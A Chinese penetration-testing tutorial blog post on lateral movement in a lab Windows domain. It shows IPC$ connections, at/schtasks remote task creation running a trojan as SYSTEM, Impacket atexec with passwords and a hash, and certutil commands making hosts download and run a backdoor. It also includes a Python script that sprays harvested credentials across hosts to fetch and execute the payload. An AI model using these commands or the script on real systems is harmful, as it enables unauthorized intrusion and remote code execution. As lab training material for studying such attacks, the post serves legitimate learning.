当前位置: 首页 > news >正文

第128天:内网安全-横向移动IPCATSC 命令Impacket 套件CS 插件全自动

环境部署

案例一: 域横向移动-IPC-命令版-at&schtasks

首先是通过外网web访问到win2008,获得了win2008的权限,这一步不做演示

因为里面的主机都不出网,所以只能利用win2008进行正向或者反向连接

信息收集

域内用户信息,以及域控名

收集域控ip

现在知道了域内的网段,探测存活主机,一般主机都会默认开启IPC$,ipc的端口是135,这里利用

ipc建立隧道进行文件上传

目标列表可以查看存活主机

这里抓取hash以及明文密码,需要提权到system

提权有很多种方法,可以看这篇文章

第98天:权限提升-WIN 全平台&MSF 自动化&CS 插件化&EXP 筛选&溢出漏洞_cs 利用插件提权的方法-CSDN博客第98天:权限提升-WIN 全平台&MSF 自动化&CS 插件化&EXP 筛选&溢出漏洞_cs 利用插件提权的方法-CSDN博客获得了system权限利用system权限去抓取hash

 

这里其实直接有了域控的账号密码,是因为我用管理员身份执行了一些操作

win7上线

这里不知道30的是win7还是别的主机

首先ipc建立隧道,这里的思路就是利用刚才抓取的账号密码,一个一个试,可能别人用他的账号登录过这台主机,那么他的账号密码就会记录下来,这里我刚搭建的环境,没登陆过,假设账号密码已知^_^,或者你要是知道了域控管理员的账号直接利用管理员账号登录

shell net use \\目标ip\ipc$ "域控密码或者主机密码" /user:"域控账号或者主机账号"
shell net use \\192.168.3.30\ipc$ "123.com" /user:qq.com\na

实验过程中发现该隧道如果windows防火墙打开的话无法建立连接

隧道建立完成后需要上传木马文件,先尝试正向连接

生成后门

先把生成的木马上传到win2008

 注意上传文件的时候至少需要用到管理员权限(admin或system)

添加计时任务,win2012之前的主机用at命令就可以,之后的主机用schetasks

shell at \\主机ip 时间  命令
shell at \\192.168.3.30 10.40 c:\2.exe 

但是win7这里经过实验发现还是使用schetasks,at命令更加简单,一句话就可以,这里就不复现了

#创建任务beacon
schtasks /create /s 192.168.3.30 /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\2.exe /F#运行beacon
schtasks /U administrator /P 123.com /run /s 192.168.3.30 /tn beacon /i 

命令参数

1.schtasks /change    #更改任务的以下一个或多个属性:任务运行的程序 (/tr);运行任务的用户帐户 (/ru);用户帐户的密码 (/rp);将仅交互式属性添加到任务 (/it)2.schtasks /create    #计划新任务3.schtasks /delete    #删除计划任务4.schtasks /end       #停止任务启动的程序5.schtasks /query     #显示计划在计算机上运行的任务6.schtasks /run       #立即启动计划任务。 运行操作会忽略计划,但使用任务中保存的程序文件位置、用户帐户和密码立即运行任务
#/sc 启动时间参数为MINUTE、HOURLY、DAILY、WEEKLY等时,需要指定/mo运行的间隔时间
/sc onlogon      用户登录时启动
/sc onstart      系统启动时启动
/sc onidle       系统空闲时启动
/sc MINUTE、 HOURLY、DAILY、WEEKLY、 MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT。
/sc 分钟、小时、每天、每周、每月、一次、开始、登录、空闲、事件。
参数:
/sc   计划任务类型,可选值为MINUTE、HOURLY、DAILY、WEEKLY、ONCE、ONSTART、ONLOGON、ONIDLE、MONTHLY、ONEVENT
/tn   计划任务名称,后续查询、修改、删除、执行时使用
/tr   需要运行的程序或命令,传入的命令中间如果有空格会被截断为程序和参数,因此需要将双引号转义并传入。
/ru   运行任务的用户账户名,不使用此参数的话使用执行schtasks命令的账户运行计划任务
/rp   运行任务的用户账户密码
/mo   指定任务在计划类型中的运行间隔
/d    指定任务在一个月或者星期的某一天运行,只适用于MONTHLY和WEEKLY类型。
/m    指定任务在某个月运行,只适用于MONTHLY类型。
/i    当计划任务类型为ONIDLE时,运行任务前计算机处于空闲状态的分钟数。
/st    当计划任务类型为MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY时使用,指定任务的开始时间,默认为本地计算机的当前时间。
/ri   指定计划任务的重复间隔,以分钟为单位。不适合计划类型:MINUTE、HOURLY、ONSTART、ONLOGON、ONIDLE
/et   指定计划任务的结束时间,适用于计划类型:MINUTE、HOURLY, 在指定的结束时间之后,schtasks 不会再次启动任务,除非当前系统时间调回开始时间。默认情况下,没有结束时间。
/du   指定任务计划的持续时间,与/et类似,默认情况下没有持续时间。
/k    在指定计划任务的结束时间或持续时间后停止任务,如果不加此参数,则在时间到了会继续运行或者重启该任务。
/it   只在用户登录时运行
/z    在任务计划完成后删除任务计划
/f    在创建任务时如果任务已存在不显示警告
/RL   为作业设置运行级别。有效值为LIMITED 和 HIGHEST。默认值为 LIMITED。
/F    如果指定的任务已经存在,则强制创建任务并抑制警告。

创建并且运行

然后主动进行连接

因为我运行的账号密码是系统的账号密码,所以获得的是system权限

如果不知道系统账户的用户名密码 ,所以还需要得知道主机的账号密码。感觉真实环境肯定更难一点……

win7上线后可以进一步抓取明文密码和hash,进一步信息收集

正向上线完尝试反向上线

生成木马上传

 创建计划任务并且运行

上线从这幅图里面可以看出来win7有一台是正向,有一台是反向

win2019上线

这里win2019已经改为192.168.3.50,win2019因为系统问题所以很多得需要更高的权限去执行

win2019采用反向上线

生成监听器

 

生成木马,上传到win7

上传前看一下当前路径在哪里

创建ipc隧道,这里上传的时候发现这里创建隧道已经不能再用域用户了,要么使用这台主机的管理员用户,要么使用域的管理员用户,可能是系统的安全策略做了提升

shell net use \\192.168.3.50\ipc$ "123.com" /user:qq.com\administrator

然后创建计时任务,因为系统安全性的提高需要带上账号密码去创建计时任务

shell schtasks /create /s 192.168.3.50 /U administrator /P 123.com /ru "SYSTEM" /tn beacon /sc DAILY /tr c:\4.exe /F

然后运行

成功上线

案例二:域横向移动-IPC-插件版-CS&LSTARS

案例三: 域横向移动-IPC-套件版-Impacket-atexec

1、Py版:https://github.com/SecureAuthCorp/impacket
python atexec.py god/administrator:Admin12345@192.168.3.21 “ver”
python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 “whoami”

2、Exe版:https://gitee.com/RichChigga/impacket-examples-windows

exe版本上传到win2019(50)去探测win2012(40)

atexec.exe 域名/账号:密码@ip "命令"
atexec.exe ./本地账号:密码@ip "命令"
atexec.exe qq.com/administrator:123.com@192.168.3.40 "whoami"

域用户

本地用户

它可以执行命令那么可以尝试用它进行上线,首先思路是已经拿到了webserver,然后上传木马文件到了webserver

让主机反向连接webserver

利用这条命令远程下载,让win2012进行上线,注意这里的ip是win2012的ip需要下载到自己的主机,通过win2008让win2012执行命令然后下载

atexec.exe ./administrator:123.com@192.168.3.40 "certutil.exe -urlcache -split -f http://192.168.3.20:80/3.exe zx.exe"

默认会下载到c:/windows/system32/下

执行,成功上线

案例四:  域横向移动-IPC-代理版-Socks&Py&atexec

exe有个问题就是文件太大了,上传py文件会好一点,但是python文件目标主机也不一定有python环境,最好的方式是建立节点在自己主机上运行。

代理转发

设置代理节点

直接在kali上运行,通过kali连接win2008给自己的节点,去连接win2012

 在kali本地利用python文件远程下载木马

记得开启win2008的监听

kali本地执行木马

成功上线

然后可以写python文件批量进行连接思路就是,把收集到的账号,密码,以及ip全部写成字典,然后,批量用atexec.py上传木马,然后运行

win2008只获得了这几个密码

前面通过端口扫描获得的ip

import os  
# 使用列表来存储密码,确保每个密码都是独立的元素  
passwords = [  '123.com',    
]   
# IP 地址集合  
ips = {  '192.168.3.20',  '192.168.3.30', '192.168.3.40', '192.168.3.50'  
}  
# 用户名集合  
users = {  'Administrator',  'jie'
}  
def xz():  # 下载后门  for ip in ips:  for user in users:  for password in passwords:  # 注意修正了路径和用户名的问题  exec1 = f'python atexec.py ./administrator:{password}@{ip} "certutil -urlcache -split -f http://192.168.3.10/3.exe zx.exe"'  exec2 = f'python atexec.py qq.com/{user}:{password}@{ip} "certutil -urlcache -split -f http://192.168.3.10/3.exe zx.exe"'  print('--->' + exec1 + '<---')  print('--->' + exec2 + '<---')  os.system(exec1)  os.system(exec2)  
def zx():  # 执行后门  for ip in ips:  for user in users:  for password in passwords:  # 注意修正了路径和用户名的问题  exec1 = f'python atexec.py ./administrator:{password}@{ip} "zx.exe"'  exec2 = f'python atexec.py qq.com/{user}:{password}@{ip} "zx.exe"'  print('--->' + exec1 + '<---')  print('--->' + exec2 + '<---')  os.system(exec1)  os.system(exec2)  if __name__ == '__main__':  xz()  zx()

通过代理执行这个文件

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 代码随想录 day 30 贪心
  • RabbitMQ应用场景及特性
  • PointMC: Multi-instance Point Cloud Registration based on Maximal Cliques 论文解读
  • 经典算法KMP讲解,包含C++解法ACM模式
  • Python脚本实现USB自动复制文件
  • ADC模数转换在stm32上的应用
  • C语言基础题:硬币问题(C语言版)
  • 蚂蚁0511笔试-选择题
  • 9-springCloud集成nacos config
  • btslab靶场-通过xss获取他人cookie并利用
  • 【vue2+elementui】记录el-upload导入文件:只上传一个文件,且再次上传会覆盖上一个文件
  • 机械学习—零基础学习日志(高数18——无穷小与无穷大)
  • C++笔记---类和对象(中)
  • 【Matlab】快速傅里叶变换fft代码(单边谱)
  • 猫头虎分享疑难杂Bug:error: subprocess-exited-with-error 解决方案
  • const let
  • JavaScript 基本功--面试宝典
  • Javascript基础之Array数组API
  • JavaScript实现分页效果
  • Redis学习笔记 - pipline(流水线、管道)
  • SQLServer之创建数据库快照
  • Swift 中的尾递归和蹦床
  • Terraform入门 - 3. 变更基础设施
  • 检测对象或数组
  • 免费小说阅读小程序
  • 普通函数和构造函数的区别
  • 数据结构java版之冒泡排序及优化
  • 温故知新之javascript面向对象
  •  一套莫尔斯电报听写、翻译系统
  • ​Linux·i2c驱动架构​
  • ​什么是bug?bug的源头在哪里?
  • #define 用法
  • #Js篇:单线程模式同步任务异步任务任务队列事件循环setTimeout() setInterval()
  • $L^p$ 调和函数恒为零
  • (3)(3.2) MAVLink2数据包签名(安全)
  • (echarts)echarts使用时重新加载数据之前的数据存留在图上的问题
  • (ZT)出版业改革:该死的死,该生的生
  • (zt)基于Facebook和Flash平台的应用架构解析
  • (第9篇)大数据的的超级应用——数据挖掘-推荐系统
  • (回溯) LeetCode 77. 组合
  • (四)js前端开发中设计模式之工厂方法模式
  • (算法二)滑动窗口
  • (译) 理解 Elixir 中的宏 Macro, 第四部分:深入化
  • (转)机器学习的数学基础(1)--Dirichlet分布
  • ..回顾17,展望18
  • .net Application的目录
  • .NET 中使用 Mutex 进行跨越进程边界的同步
  • .NET 自定义中间件 判断是否存在 AllowAnonymousAttribute 特性 来判断是否需要身份验证
  • .NET/C# 将一个命令行参数字符串转换为命令行参数数组 args
  • .net6解除文件上传限制。Multipart body length limit 16384 exceeded
  • .NetCore部署微服务(二)
  • .NET中GET与SET的用法
  • .so文件(linux系统)
  • ??Nginx实现会话保持_Nginx会话保持与Redis的结合_Nginx实现四层负载均衡
  • @reference注解_Dubbo配置参考手册之dubbo:reference